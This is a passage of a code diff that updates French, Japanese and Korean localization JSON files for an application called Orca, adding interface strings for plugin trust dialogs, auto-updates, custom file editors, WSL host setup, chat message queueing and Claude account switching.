vérifié. Un plugin qui en provient peut exécuter du code dans Orca : ne l’installez que si vous faites confiance à sa provenance.", + "devFolder": "Ce dossier local n’est pas vérifié. Orca charge son plugin tel quel, et les modifications de code ultérieures s’exécutent sans confirmation : n’ajoutez que des dossiers de confiance.", + "publisher": "Éditeur", + "repository": "Dépôt", + "folder": "Dossier", + "catalog": "Catalogue", + "cancel": "Annuler", + "addFolder": "Ajouter le dossier", + "install": "Installer" + }, + "PluginPageHero": { + "screenshots": "Captures d’écran", + "openScreenshot": "Ouvrir la capture d’écran : {{value0}}", + "position": "{{value0}} sur {{value1}}", + "previous": "Capture précédente", + "next": "Capture suivante" + }, + "PluginChips": { + "updateNeedsReview": "Mise à jour à relire", + "updatedTo": "Mis à jour vers {{value0}}", + "devUnverified": "Dév · non vérifié" + }, + "PluginContributionActionNewFile": { + "create": "Créer" } }, "right": { @@ -14652,7 +14706,8 @@ "79aa06bb2c": "Actualisation impossible. L'API de GitHub est temporairement indisponible. Affichage du dernier statut connu.", "6ec12cee0c": "Actualisation impossible. GitHub est injoignable pour le moment. Affichage du dernier statut connu.", "de088015e8": "Actualisation impossible. GitHub limite les requêtes. Affichage du dernier statut connu.", - "d9dd7c6687": "Actualisation depuis GitHub impossible. Affichage du dernier statut connu." + "d9dd7c6687": "Actualisation depuis GitHub impossible. Affichage du dernier statut connu.", + "manual_provider": "Actualisation depuis {{provider}} impossible. Réessayez." } } }, @@ -16718,13 +16773,29 @@ "message": "Un plugin peut ouvrir les fichiers .{{value0}} : {{value1}}", "view": "Voir le plugin", "notNow": "Pas maintenant", - "never": "Ne plus suggérer pour .{{value0}}" + "never": "Ne plus suggérer pour .{{value0}}", + "editorMessage": "Un plugin ajoute un éditeur pour les fichiers .{{value0}} : {{value1}}" }, "RichMarkdownEmojiMenu": { "chooseEmoji": "Choisir un emoji" }, "richMarkdownBlobImagePaste": { "saveFailed": "Impossible d’enregistrer l’image collée à côté du document. Elle risque de ne pas se charger après le redémarrage d’Orca." + }, + "PluginCustomEditorFrame": { + "loading": "Chargement de l’éditeur…", + "unresponsive": "{{value0}} ne répond plus. Passez à Source pour continuer à modifier.", + "loadFailed": "Impossible de charger {{value0}}. Passez à Source pour modifier ce fichier.", + "editTooLarge": "Ce fichier est trop volumineux pour que {{value0}} enregistre les modifications. Utilisez Source à la place.", + "saveBlocked": "Impossible d’enregistrer les dernières modifications de {{value0}}.", + "editsHeld": "{{value0}} envoie des modifications trop vite ; Orca appliquera la plus récente sous peu.", + "largeFile": "Fichier volumineux — cela peut prendre un moment." + }, + "PluginBytesCustomEditorSurface": { + "retry": "Réessayer", + "tooLarge": "{{value0}} est trop volumineux pour s’ouvrir dans {{value1}} ({{value2}} ; la limite est de {{value3}}).", + "unsupported": "{{value0}} ne peut pas lire ce fichier depuis son emplacement. Mettez à jour le serveur Orca qui l’héberge ou passez à Source.", + "readFailed": "Impossible de lire {{value0}} pour {{value1}}. {{value2}}" } }, "diff": { @@ -17053,7 +17124,8 @@ }, "pluginQuickActions": { "description": "commande du plugin {{value0}}", - "keyword": "commande de plugin" + "keyword": "commande de plugin", + "newFileDescription": "Créer un fichier {{value0}} sans titre dans l’espace de travail actif." } } }, @@ -18343,7 +18415,8 @@ "notInstalled": "Non installés" }, "PluginListGroup": { - "showAll": "Afficher {{value0}} de plus" + "showAll": "Afficher {{value0}} de plus", + "showAllTotal": "Afficher les {{value0}} plugins" }, "PluginListRow": { "official": "Officiel" @@ -18847,6 +18920,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} installations" + }, + "PluginCatalogLinkDialog": { + "failed": "Impossible d’ajouter ce catalogue.", + "title": "Ajouter le catalogue {{value0}} ?", + "cancel": "Annuler", + "add": "Ajouter le catalogue", + "body": "Un lien a demandé d’afficher {{value0}} depuis ce catalogue. N’ajoutez des catalogues que de personnes de confiance." } } }, @@ -19743,7 +19823,6 @@ "editMessage": "Modifier le message", "showFullMessage": "Afficher le message complet", "showLess": "Afficher moins", - "turnOffQueueing": "Désactiver la file d'attente", "withdrawnHold": "Arrêté avant l'envoi", "pausedSendFailed": "Envoi impossible. Appuyez sur Envoyer pour réessayer.", "paused": "En pause", @@ -20398,9 +20477,8 @@ } }, "nativeChat": { - "queueFollowUpsTitle": "Mettre les messages en file d’attente", - "queueFollowUpsCopy": "Les messages envoyés pendant que l'agent travaille attendent sous forme de cartes que vous pouvez envoyer maintenant, modifier ou supprimer. Les messages avec des images sont envoyés immédiatement.", - "queueFollowUpsToggleLabel": "Activer ou désactiver la file d'attente", + "followUpBehaviorTitle": "Mettre les messages suivants en file d’attente", + "followUpBehaviorCopy": "Les messages envoyés pendant que l’agent travaille attendent sous forme de cartes jusqu’à la fin du tour, au lieu d’entrer dans le tour en cours. Cmd/Ctrl+Entrée fait l’inverse pour un message.", "inlineVisualsTitle": "Visuels intégrés", "inlineVisualsCopy": "Laissez l'agent afficher des graphiques, des diagrammes et des maquettes dans ses réponses. S'applique aux nouveaux chats.", "inlineVisualsToggleLabel": "Activer/désactiver les visuels intégrés", @@ -20939,6 +21017,11 @@ }, "cardProperties": { "agentModel": "Modèle de l’agent" + }, + "wslHostOffer": { + "title": "Exécuter {{distro}} comme hôte (recommandé)", + "why": "Git, les fichiers et les terminaux s’exécutent alors nativement sous Linux plutôt qu’à travers le partage de fichiers Windows.", + "accept": "Exécuter comme hôte" } }, "editor": { @@ -21544,7 +21627,7 @@ }, "claude": { "added": "Compte ajouté. Sélectionnez-le pour l'utiliser pour le prochain Claude que vous démarrez.", - "nextLaunch": "{{value0}} → {{value1}}. Le prochain Claude que vous démarrez l'utilise. Les sessions en cours conservent leur compte.", + "nextLaunch": "{{value0}} → {{value1}}. Le prochain terminal Claude que vous démarrez utilisera ce compte. Les terminaux Claude en cours conservent leur compte.", "profileSwitching": "Le changement s'applique au prochain Claude que vous démarrez dans n'importe quel onglet. Les sessions en cours conservent leur compte.", "systemDefault": "Valeur par défaut du système", "unnamedAccount": "Compte Claude", @@ -21574,11 +21657,11 @@ "dontAskAgain": "Ne plus demander (redémarrer automatiquement)", "restartOne": "Redémarrer la session", "session": "Session Claude", - "settingTitle": "Lorsque vous changez de compte alors que Claude est en cours d'exécution", + "settingTitle": "Lorsque vous changez de compte alors que Claude est en cours d'exécution dans des terminaux", "listLabel": "Sessions Claude à redémarrer", "settingRestart": "Toujours redémarrer", "settingKeep": "Ne jamais redémarrer", - "settingDescription": "Le redémarrage continue chaque conversation en cours sur le nouveau compte.", + "settingDescription": "Le redémarrage poursuit chaque conversation dans un terminal sur le nouveau compte.", "restartingOne": "Redémarrage d’une session Claude sur {{account}}", "restartingOther": "Redémarrage de {{count}} sessions Claude sur {{account}}", "groupOnAccount": "En cours sur {{account}}", diff --git a/src/renderer/src/i18n/locales/ja.json b/src/renderer/src/i18n/locales/ja.json index 37da855a822..cfa97fbe476 100644 --- a/src/renderer/src/i18n/locales/ja.json +++ b/src/renderer/src/i18n/locales/ja.json @@ -893,6 +893,13 @@ "pluginNewFile": { "unavailable": "{{value0}} は利用できなくなりました。プラグインを再度オンにしてください。", "failed": "ファイルを作成できませんでした。" + }, + "pluginAutoUpdates": { + "one": "{{value0}} を {{value1}} にアップデートしました", + "many": "{{value0}} 件のプラグインをアップデートしました" + }, + "pluginInstallLink": { + "invalid": "このプラグインのリンクは無効です。" } }, "lib": { @@ -6509,13 +6516,15 @@ "distro": "ディストリビューション", "loading": "WSL ディストリビューションを探しています…", "placeholder": "ディストリビューションを選択", - "none": "WSL ディストリビューションが見つかりません。次のコマンドでインストールできます: wsl --install", "stoppedHint": "{{value0}} は停止しています。追加すると起動します。", "addingHint": "ディストリビューション内に Orca サーバーをインストールして起動しています。初回は 1 分ほどかかることがあります。", "adding": "セットアップ中…", "startAndAdd": "起動して追加", "add": "ホストを追加", - "refresh": "更新" + "refresh": "更新", + "wsl1Reason": "WSL 1 では Orca ホストを実行できません。{{command}} で変換してください", + "noWsl2Title": "WSL 2 ディストリビューションが見つかりません", + "noWsl2Install": "Windows ターミナルで {{command}} を実行してインストールし、[更新] を選択してください。" }, "wslHostRowStatus": { "connecting": "起動中", @@ -11277,7 +11286,8 @@ "pathLabel": "開発用プラグインのフォルダーパス", "placeholder": "プラグインフォルダーのパス", "add": "パスを追加", - "reviewHelp": "確認は一度だけ。その後のコード変更は確認なしで実行されます。" + "reviewHelp": "確認は一度だけ。その後のコード変更は確認なしで実行されます。", + "dialogTitle": "開発フォルダー" }, "PluginInstallDialog": { "localRequired": "プラグインフォルダーのパスを入力してください。", @@ -12449,7 +12459,9 @@ "repository": "リポジトリ", "stoppedDataBody": "ファイルを読み込めませんでした。再起動して再試行してください。", "newerBody": "表示中にカタログが更新されました。", - "showNewer": "新しい版を表示" + "showNewer": "新しい版を表示", + "newerTitle": "新しいバージョンがあります", + "alsoListedBy": "{{value0}} にも掲載されています。アップデートはインストール元のカタログからのみ届きます。切り替えるには、削除してから再インストールしてください。" }, "PluginDetailSections": { "typeLanguagePack": "表示言語", @@ -12499,7 +12511,9 @@ "rollbackTo": "{{value0}} に戻す…", "copyContentHash": "コンテンツハッシュをコピー", "reviewUpdate": "アップデートを確認", - "dataLoadFailed": "ファイルを読み込めませんでした" + "dataLoadFailed": "ファイルを読み込めませんでした", + "updateNeedsReview": "アップデート {{value0}} のレビューが必要です", + "updatedTo": "{{value0}} にアップデート済み" }, "PluginSettingsOverview": { "offTitle": "プラグインはオフです" @@ -12562,20 +12576,27 @@ "dark": "ダーク", "light": "ライト", "languageIncomplete": "{{value0}}% 翻訳済み。Orca の言語として使うには不完全です", - "languageCoverage": "インターフェース言語 · {{value0}}% 翻訳済み" + "languageCoverage": "インターフェース言語 · {{value0}}% 翻訳済み", + "newFileMenu": "+ メニューに追加" }, "PluginInstallConsent": { "noOtherAccess": "その他のアクセスはありません", "replacesShortcut": "{{value0}}({{value1}})が {{value2}} のショートカットを置き換えます。", "updatesKeepApproval": "アップデートは新しいアクセスがあるときだけ確認します", "fullAccessUpdates": "アップデートで確認なしにコードが変わることがあります", - "editsFileTypes": "Orca で {{value0}} ファイルを開いて編集します。開いたファイルを読み取れます。" + "editsFileTypes": "Orca で {{value0}} ファイルを開いて編集します。開いたファイルを読み取れます。", + "install": "インストールして有効化", + "keepOff": "オフのままにする" }, "PluginPageAction": { - "contentOnly": "コンテンツのみ" + "contentOnly": "コンテンツのみ", + "failedTitle": "{{value0}} をインストールできませんでした" }, "PluginSettingsMenu": { - "autoUpdateHint": "新しいアクセスがあるときだけ確認します" + "autoUpdateHint": "新しいアクセスがあるときだけ確認します", + "label": "プラグイン設定", + "development": "開発フォルダー…", + "autoUpdateLabel": "プラグインを自動でアップデート" }, "PluginInUseAction": { "inUseDark": "使用中 · ダーク", @@ -12678,6 +12699,39 @@ "manyDescription": "確認するまで更新されません。", "review": "確認", "dismiss": "閉じる" + }, + "PluginInstallTrustDialog": { + "titleFolder": "このフォルダーを信頼できることを確認してください", + "title": "{{value0}} を信頼できることを確認してください", + "theme": "このテーマは Orca ではなく {{value0}} によるものです。信頼できる作者のプラグインだけをインストールしてください。", + "content": "このプラグインは Orca ではなく {{value0}} によるものです。信頼できる作者のプラグインだけをインストールしてください。", + "translations": "この翻訳は Orca ではなく {{value0}} によるものです。翻訳は Orca 内のあらゆるテキストを変更できるため、信頼できる作者のものだけをインストールしてください。", + "code": "このプラグインは Orca ではなく {{value0}} によるものです。公開元のコードを Orca 内で実行するため、{{value0}} を信頼できる場合にのみインストールしてください。", + "git": "Orca はこのリポジトリを確認していません。ここからのプラグインは公開元のコードを Orca 内で実行できるため、{{value0}} を信頼できる場合にのみインストールしてください。", + "localFolder": "これは未検証のローカルフォルダーです。ここからのプラグインは Orca 内でコードを実行できるため、入手元を信頼できる場合にのみインストールしてください。", + "devFolder": "これは未検証のローカルフォルダーです。Orca はそのプラグインをそのまま読み込み、以降のコード変更は確認なしで実行されます。信頼できるフォルダーだけを追加してください。", + "publisher": "公開元", + "repository": "リポジトリ", + "folder": "フォルダー", + "catalog": "カタログ", + "cancel": "キャンセル", + "addFolder": "フォルダーを追加", + "install": "インストール" + }, + "PluginPageHero": { + "screenshots": "スクリーンショット", + "openScreenshot": "スクリーンショットを開く: {{value0}}", + "position": "{{value0}} / {{value1}}", + "previous": "前のスクリーンショット", + "next": "次のスクリーンショット" + }, + "PluginChips": { + "updateNeedsReview": "アップデートのレビューが必要", + "updatedTo": "{{value0}} にアップデート済み", + "devUnverified": "開発 · 未検証" + }, + "PluginContributionActionNewFile": { + "create": "作成" } }, "right": { @@ -14060,7 +14114,8 @@ "79aa06bb2c": "更新できませんでした。GitHub の API を一時的に利用できません。最後に取得した状態を表示しています。", "6ec12cee0c": "更新できませんでした。現在 GitHub に接続できません。最後に取得した状態を表示しています。", "de088015e8": "更新できませんでした。GitHub がリクエストを制限しています。最後に取得した状態を表示しています。", - "d9dd7c6687": "GitHub から更新できませんでした。最後に取得した状態を表示しています。" + "d9dd7c6687": "GitHub から更新できませんでした。最後に取得した状態を表示しています。", + "manual_provider": "{{provider}} から更新できませんでした。もう一度お試しください。" } } }, @@ -16091,13 +16146,29 @@ "message": ".{{value0}} ファイルを開けるプラグインがあります: {{value1}}", "view": "プラグインを表示", "notNow": "今はしない", - "never": ".{{value0}} では提案しない" + "never": ".{{value0}} では提案しない", + "editorMessage": "プラグインが .{{value0}} ファイル用のエディターを追加します: {{value1}}" }, "RichMarkdownEmojiMenu": { "chooseEmoji": "絵文字を選択" }, "richMarkdownBlobImagePaste": { "saveFailed": "貼り付けた画像をドキュメントの隣に保存できませんでした。Orca の再起動後に読み込めない場合があります。" + }, + "PluginCustomEditorFrame": { + "loading": "エディターを読み込み中…", + "unresponsive": "{{value0}} が応答しなくなりました。編集を続けるにはソースに切り替えてください。", + "loadFailed": "{{value0}} を読み込めませんでした。このファイルを編集するにはソースに切り替えてください。", + "editTooLarge": "このファイルは大きすぎるため、{{value0}} では変更を保存できません。代わりにソースを使用してください。", + "saveBlocked": "{{value0}} からの最新の変更を保存できませんでした。", + "editsHeld": "{{value0}} からの変更の送信が速すぎます。Orca はまもなく最新の変更を適用します。", + "largeFile": "大きなファイルです。少し時間がかかる場合があります。" + }, + "PluginBytesCustomEditorSurface": { + "retry": "再試行", + "tooLarge": "{{value0}} は大きすぎるため {{value1}} で開けません({{value2}}、上限は {{value3}})。", + "unsupported": "{{value0}} はこのファイルの保存場所から読み取れません。ホストしている Orca サーバーをアップデートするか、ソースに切り替えてください。", + "readFailed": "{{value1}} 用に {{value0}} を読み取れませんでした。{{value2}}" } }, "diff": { @@ -16420,7 +16491,8 @@ }, "pluginQuickActions": { "description": "{{value0}} プラグインのコマンド", - "keyword": "プラグインのコマンド" + "keyword": "プラグインのコマンド", + "newFileDescription": "アクティブなワークスペースに無題の {{value0}} ファイルを作成します。" } } }, @@ -17657,7 +17729,8 @@ "notInstalled": "未インストール" }, "PluginListGroup": { - "showAll": "さらに {{value0}} 件を表示" + "showAll": "さらに {{value0}} 件を表示", + "showAllTotal": "{{value0}} 件のプラグインをすべて表示" }, "PluginListRow": { "official": "公式" @@ -18153,6 +18226,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} 件のインストール" + }, + "PluginCatalogLinkDialog": { + "failed": "このカタログを追加できませんでした。", + "title": "カタログ {{value0}} を追加しますか?", + "cancel": "キャンセル", + "add": "カタログを追加", + "body": "リンクがこのカタログの {{value0}} の表示を求めています。カタログは信頼できる相手からのものだけを追加してください。" } } }, @@ -18986,7 +19066,6 @@ "editMessage": "メッセージを編集", "showFullMessage": "メッセージ全体を表示", "showLess": "折りたたむ", - "turnOffQueueing": "キューへの追加をオフにする", "withdrawnHold": "送信前に停止されました", "pausedSendFailed": "送信できませんでした。「送信」を押して再試行してください。", "paused": "一時停止中", @@ -19592,9 +19671,8 @@ } }, "nativeChat": { - "queueFollowUpsTitle": "フォローアップをキューに入れる", - "queueFollowUpsCopy": "Agent の作業中に送信したメッセージは、今すぐ送信・編集・削除できるカードとして待機します。画像付きのメッセージはすぐに送信されます。", - "queueFollowUpsToggleLabel": "フォローアップのキューを切り替え", + "followUpBehaviorTitle": "フォローアップをキューに入れる", + "followUpBehaviorCopy": "Agent の作業中に送信したメッセージは、実行中のターンに送られる代わりに、ターンが終わるまでカードとして待機します。Cmd/Ctrl+Enter では 1 件だけその逆になります。", "inlineVisualsTitle": "インライン表示", "inlineVisualsCopy": "Agent が返信内でグラフ、図、モックアップを表示できるようにします。新しく開始したチャットに適用されます。", "inlineVisualsToggleLabel": "インライン表示を切り替え", @@ -20206,6 +20284,11 @@ }, "cardProperties": { "agentModel": "Agent のモデル" + }, + "wslHostOffer": { + "title": "{{distro}} をホストとして実行(推奨)", + "why": "Git、ファイル、ターミナルが Windows のファイル共有を経由せず、Linux 上でネイティブに動作します。", + "accept": "ホストとして実行" } }, "editor": { @@ -20890,7 +20973,7 @@ }, "claude": { "added": "アカウントを追加しました。次に起動する Claude で使用するには、これを選択してください。", - "nextLaunch": "{{value0}} → {{value1}}。次に起動する Claude はこれを使用します。実行中のセッションはそれぞれのアカウントを維持します。", + "nextLaunch": "{{value0}} → {{value1}}。次に起動する Claude ターミナルはこのアカウントを使用します。実行中の Claude ターミナルはそれぞれのアカウントを維持します。", "profileSwitching": "切り替えは、任意のタブで次に起動する Claude に適用されます。実行中のセッションはそれぞれのアカウントを維持します。", "systemDefault": "システムのデフォルト", "unnamedAccount": "Claude アカウント", @@ -20921,8 +21004,8 @@ "restartOne": "セッションを再起動", "keep": "そのままにする", "session": "Claude セッション", - "settingDescription": "再起動すると、新規アカウントで実行中の各会話が継続されます。", - "settingTitle": "Claude の実行中にアカウントを切り替える場合", + "settingDescription": "再起動すると、ターミナル内の各会話が新しいアカウントで継続されます。", + "settingTitle": "ターミナルで Claude を実行中にアカウントを切り替える場合", "restartingOne": "{{account}} で Claude セッションを 1 件再起動中", "restartingOther": "{{account}} で Claude セッションを {{count}} 件再起動中", "settingRestart": "常に再起動する", diff --git a/src/renderer/src/i18n/locales/ko.json b/src/renderer/src/i18n/locales/ko.json index d9cb9adade0..d77118b3f6f 100644 --- a/src/renderer/src/i18n/locales/ko.json +++ b/src/renderer/src/i18n/locales/ko.json @@ -893,6 +893,13 @@ "pluginNewFile": { "unavailable": "{{value0}}을(를) 더 이상 사용할 수 없습니다. 해당 플러그인을 다시 켜세요.", "failed": "파일을 만들 수 없습니다." + }, + "pluginAutoUpdates": { + "one": "{{value0}}을(를) {{value1}}(으)로 업데이트했습니다", + "many": "플러그인 {{value0}}개를 업데이트했습니다" + }, + "pluginInstallLink": { + "invalid": "유효하지 않은 플러그인 링크입니다." } }, "lib": { @@ -6509,13 +6516,15 @@ "distro": "배포판", "loading": "WSL 배포판 찾는 중…", "placeholder": "배포판 선택", - "none": "WSL 배포판을 찾을 수 없습니다. 다음 명령으로 설치하세요: wsl --install", "stoppedHint": "{{value0}}이(가) 중지되어 있습니다. 추가하면 시작됩니다.", "addingHint": "배포판에 Orca 서버를 설치하고 시작하는 중입니다. 처음에는 1분 정도 걸릴 수 있습니다.", "adding": "설정 중…", "startAndAdd": "시작 및 추가", "add": "호스트 추가", - "refresh": "새로고침" + "refresh": "새로고침", + "wsl1Reason": "WSL 1에서는 Orca 호스트를 실행할 수 없습니다. {{command}}(으)로 변환하세요", + "noWsl2Title": "WSL 2 배포판을 찾을 수 없음", + "noWsl2Install": "Windows 터미널에서 {{command}}(으)로 설치한 다음 새로 고침을 선택하세요." }, "wslHostRowStatus": { "connecting": "시작 중", @@ -11277,7 +11286,8 @@ "pathLabel": "개발 플러그인 폴더 경로", "placeholder": "플러그인 폴더 경로", "add": "경로 추가", - "reviewHelp": "한 번만 검토합니다. 이후 코드 변경은 묻지 않고 실행됩니다." + "reviewHelp": "한 번만 검토합니다. 이후 코드 변경은 묻지 않고 실행됩니다.", + "dialogTitle": "개발 폴더" }, "PluginInstallDialog": { "localRequired": "플러그인 폴더 경로를 입력하세요.", @@ -12449,7 +12459,9 @@ "repository": "저장소", "stoppedDataBody": "파일을 불러오지 못했습니다. 다시 시작해 재시도하세요.", "newerBody": "보는 동안 카탈로그가 변경되었습니다.", - "showNewer": "새 버전 보기" + "showNewer": "새 버전 보기", + "newerTitle": "새 버전을 사용할 수 있습니다", + "alsoListedBy": "{{value0}}에도 등록되어 있습니다. 업데이트는 설치한 카탈로그에서만 받습니다. 바꾸려면 제거한 뒤 다시 설치하세요." }, "PluginDetailSections": { "typeLanguagePack": "인터페이스 언어", @@ -12499,7 +12511,9 @@ "rollbackTo": "{{value0}}(으)로 되돌리기…", "copyContentHash": "콘텐츠 해시 복사", "reviewUpdate": "업데이트 검토", - "dataLoadFailed": "파일을 불러오지 못했습니다" + "dataLoadFailed": "파일을 불러오지 못했습니다", + "updateNeedsReview": "업데이트 {{value0}} 검토 필요", + "updatedTo": "{{value0}}(으)로 업데이트됨" }, "PluginSettingsOverview": { "offTitle": "플러그인이 꺼져 있습니다" @@ -12562,20 +12576,27 @@ "dark": "다크", "light": "라이트", "languageIncomplete": "{{value0}}% 번역됨. Orca 언어로 사용하기에는 너무 불완전합니다", - "languageCoverage": "인터페이스 언어 · {{value0}}% 번역됨" + "languageCoverage": "인터페이스 언어 · {{value0}}% 번역됨", + "newFileMenu": "+ 메뉴에 추가" }, "PluginInstallConsent": { "noOtherAccess": "다른 접근 권한 없음", "replacesShortcut": "{{value0}}({{value1}})이(가) {{value2}}의 단축키를 대체합니다.", "updatesKeepApproval": "업데이트는 새 접근 권한이 있을 때만 다시 묻습니다", "fullAccessUpdates": "업데이트가 묻지 않고 코드를 바꿀 수 있습니다", - "editsFileTypes": "Orca에서 {{value0}} 파일을 열고 편집합니다. 연 파일을 읽을 수 있습니다." + "editsFileTypes": "Orca에서 {{value0}} 파일을 열고 편집합니다. 연 파일을 읽을 수 있습니다.", + "install": "설치 및 사용", + "keepOff": "끈 상태로 유지" }, "PluginPageAction": { - "contentOnly": "콘텐츠만" + "contentOnly": "콘텐츠만", + "failedTitle": "{{value0}}을(를) 설치할 수 없습니다" }, "PluginSettingsMenu": { - "autoUpdateHint": "새 접근 권한이 있을 때만 다시 묻습니다" + "autoUpdateHint": "새 접근 권한이 있을 때만 다시 묻습니다", + "label": "플러그인 설정", + "development": "개발 폴더…", + "autoUpdateLabel": "플러그인 자동 업데이트" }, "PluginInUseAction": { "inUseDark": "사용 중 · 다크", @@ -12678,6 +12699,39 @@ "manyDescription": "검토하기 전까지 업데이트되지 않습니다.", "review": "검토", "dismiss": "닫기" + }, + "PluginInstallTrustDialog": { + "titleFolder": "이 폴더를 신뢰하는지 확인하세요", + "title": "{{value0}}을(를) 신뢰하는지 확인하세요", + "theme": "이 테마는 Orca가 아닌 {{value0}}에서 제공합니다. 신뢰하는 작성자의 플러그인만 설치하세요.", + "content": "이 플러그인은 Orca가 아닌 {{value0}}에서 제공합니다. 신뢰하는 작성자의 플러그인만 설치하세요.", + "translations": "이 번역은 Orca가 아닌 {{value0}}에서 제공합니다. 번역은 Orca의 모든 텍스트를 바꿀 수 있으므로 신뢰하는 작성자의 번역만 설치하세요.", + "code": "이 플러그인은 Orca가 아닌 {{value0}}에서 제공합니다. 게시자의 코드를 Orca 안에서 실행하므로 {{value0}}을(를) 신뢰하는 경우에만 설치하세요.", + "git": "Orca는 이 저장소를 확인하지 않았습니다. 여기서 가져온 플러그인은 게시자의 코드를 Orca 안에서 실행할 수 있으므로 {{value0}}을(를) 신뢰하는 경우에만 설치하세요.", + "localFolder": "확인되지 않은 로컬 폴더입니다. 여기서 가져온 플러그인은 Orca 안에서 코드를 실행할 수 있으므로 출처를 신뢰하는 경우에만 설치하세요.", + "devFolder": "확인되지 않은 로컬 폴더입니다. Orca는 플러그인을 그대로 불러오며 이후 코드 변경은 묻지 않고 실행되므로 신뢰하는 폴더만 추가하세요.", + "publisher": "게시자", + "repository": "저장소", + "folder": "폴더", + "catalog": "카탈로그", + "cancel": "취소", + "addFolder": "폴더 추가", + "install": "설치" + }, + "PluginPageHero": { + "screenshots": "스크린샷", + "openScreenshot": "스크린샷 열기: {{value0}}", + "position": "{{value0}} / {{value1}}", + "previous": "이전 스크린샷", + "next": "다음 스크린샷" + }, + "PluginChips": { + "updateNeedsReview": "업데이트 검토 필요", + "updatedTo": "{{value0}}(으)로 업데이트됨", + "devUnverified": "개발 · 미검증" + }, + "PluginContributionActionNewFile": { + "create": "만들기" } }, "right": { @@ -14060,7 +14114,8 @@ "79aa06bb2c": "새로고침할 수 없습니다. GitHub의 API를 일시적으로 사용할 수 없습니다. 마지막으로 알려진 상태를 표시합니다.", "6ec12cee0c": "새로고침할 수 없습니다. 지금은 GitHub에 연결할 수 없습니다. 마지막으로 알려진 상태를 표시합니다.", "de088015e8": "새로고침할 수 없습니다. GitHub에서 요청 수를 제한하고 있습니다. 마지막으로 확인된 상태를 표시합니다.", - "d9dd7c6687": "GitHub에서 새로고침할 수 없습니다. 마지막으로 알려진 상태를 표시합니다." + "d9dd7c6687": "GitHub에서 새로고침할 수 없습니다. 마지막으로 알려진 상태를 표시합니다.", + "manual_provider": "{{provider}}에서 새로고침할 수 없습니다. 다시 시도하세요." } } }, @@ -16091,13 +16146,29 @@ "message": ".{{value0}} 파일을 열 수 있는 플러그인: {{value1}}", "view": "플러그인 보기", "notNow": "나중에", - "never": ".{{value0}}에 대해 제안하지 않기" + "never": ".{{value0}}에 대해 제안하지 않기", + "editorMessage": "플러그인이 .{{value0}} 파일용 편집기를 추가합니다: {{value1}}" }, "RichMarkdownEmojiMenu": { "chooseEmoji": "이모지 선택" }, "richMarkdownBlobImagePaste": { "saveFailed": "붙여 넣은 이미지를 문서 옆에 저장할 수 없습니다. Orca를 다시 시작한 후 불러오지 못할 수 있습니다." + }, + "PluginCustomEditorFrame": { + "loading": "편집기 로드 중…", + "unresponsive": "{{value0}}이(가) 응답하지 않습니다. 계속 편집하려면 소스로 전환하세요.", + "loadFailed": "{{value0}}을(를) 불러올 수 없습니다. 이 파일을 편집하려면 소스로 전환하세요.", + "editTooLarge": "파일이 너무 커서 {{value0}}에서 변경 사항을 저장할 수 없습니다. 대신 소스를 사용하세요.", + "saveBlocked": "{{value0}}의 최신 변경 사항을 저장할 수 없습니다.", + "editsHeld": "{{value0}}이(가) 변경 사항을 너무 빠르게 보내고 있습니다. Orca가 곧 최신 변경 사항을 적용합니다.", + "largeFile": "큰 파일입니다. 잠시 걸릴 수 있습니다." + }, + "PluginBytesCustomEditorSurface": { + "retry": "다시 시도", + "tooLarge": "{{value0}}은(는) 너무 커서 {{value1}}에서 열 수 없습니다({{value2}}, 한도는 {{value3}}).", + "unsupported": "{{value0}}은(는) 이 파일이 저장된 위치에서 읽을 수 없습니다. 파일을 호스팅하는 Orca 서버를 업데이트하거나 소스로 전환하세요.", + "readFailed": "{{value1}}에서 사용할 {{value0}}을(를) 읽을 수 없습니다. {{value2}}" } }, "diff": { @@ -16420,7 +16491,8 @@ }, "pluginQuickActions": { "description": "{{value0}} 플러그인 명령", - "keyword": "플러그인 명령" + "keyword": "플러그인 명령", + "newFileDescription": "활성 작업 공간에 제목 없는 {{value0}} 파일을 만듭니다." } } }, @@ -17657,7 +17729,8 @@ "notInstalled": "설치 안 됨" }, "PluginListGroup": { - "showAll": "{{value0}}개 더 보기" + "showAll": "{{value0}}개 더 보기", + "showAllTotal": "플러그인 {{value0}}개 모두 보기" }, "PluginListRow": { "official": "공식" @@ -18153,6 +18226,13 @@ }, "pluginInstallCount": { "installs": "{{value0}}회 설치" + }, + "PluginCatalogLinkDialog": { + "failed": "이 카탈로그를 추가할 수 없습니다.", + "title": "카탈로그 {{value0}}을(를) 추가할까요?", + "cancel": "취소", + "add": "카탈로그 추가", + "body": "링크가 이 카탈로그의 {{value0}}을(를) 표시하도록 요청했습니다. 신뢰할 수 있는 사람의 카탈로그만 추가하세요." } } }, @@ -18986,7 +19066,6 @@ "editMessage": "메시지 편집", "showFullMessage": "전체 메시지 보기", "showLess": "접기", - "turnOffQueueing": "대기열 사용 안 함", "withdrawnHold": "전송 전에 중지됨", "pausedSendFailed": "보낼 수 없습니다. 보내기를 눌러 다시 시도하세요.", "paused": "일시 중지됨", @@ -19592,9 +19671,8 @@ } }, "nativeChat": { - "queueFollowUpsTitle": "후속 메시지 대기열에 추가", - "queueFollowUpsCopy": "Agent가 작업하는 동안 보낸 메시지는 지금 보내기, 편집, 삭제할 수 있는 카드로 대기합니다. 이미지가 포함된 메시지는 바로 전송됩니다.", - "queueFollowUpsToggleLabel": "후속 메시지 대기열 전환", + "followUpBehaviorTitle": "후속 메시지를 대기열에 추가", + "followUpBehaviorCopy": "Agent가 작업하는 동안 보낸 메시지는 진행 중인 턴에 들어가지 않고 턴이 끝날 때까지 카드로 대기합니다. Cmd/Ctrl+Enter를 누르면 메시지 하나에 대해 반대로 동작합니다.", "inlineVisualsTitle": "인라인 시각 자료", "inlineVisualsCopy": "에이전트가 답변 안에 차트, 다이어그램, 목업을 표시하도록 합니다. 새로 시작한 채팅에 적용됩니다.", "inlineVisualsToggleLabel": "인라인 시각 자료 전환", @@ -20206,6 +20284,11 @@ }, "cardProperties": { "agentModel": "에이전트 모델" + }, + "wslHostOffer": { + "title": "{{distro}}을(를) 호스트로 실행(권장)", + "why": "Git, 파일, 터미널이 Windows 파일 공유를 거치지 않고 Linux에서 기본으로 실행됩니다.", + "accept": "호스트로 실행" } }, "editor": { @@ -20890,7 +20973,7 @@ }, "claude": { "added": "계정이 추가되었습니다. 다음에 시작하는 Claude에 사용하려면 이 계정을 선택하세요.", - "nextLaunch": "{{value0}} → {{value1}}. 다음에 시작하는 Claude가 이를 사용합니다. 실행 중인 세션은 해당 계정을 유지합니다.", + "nextLaunch": 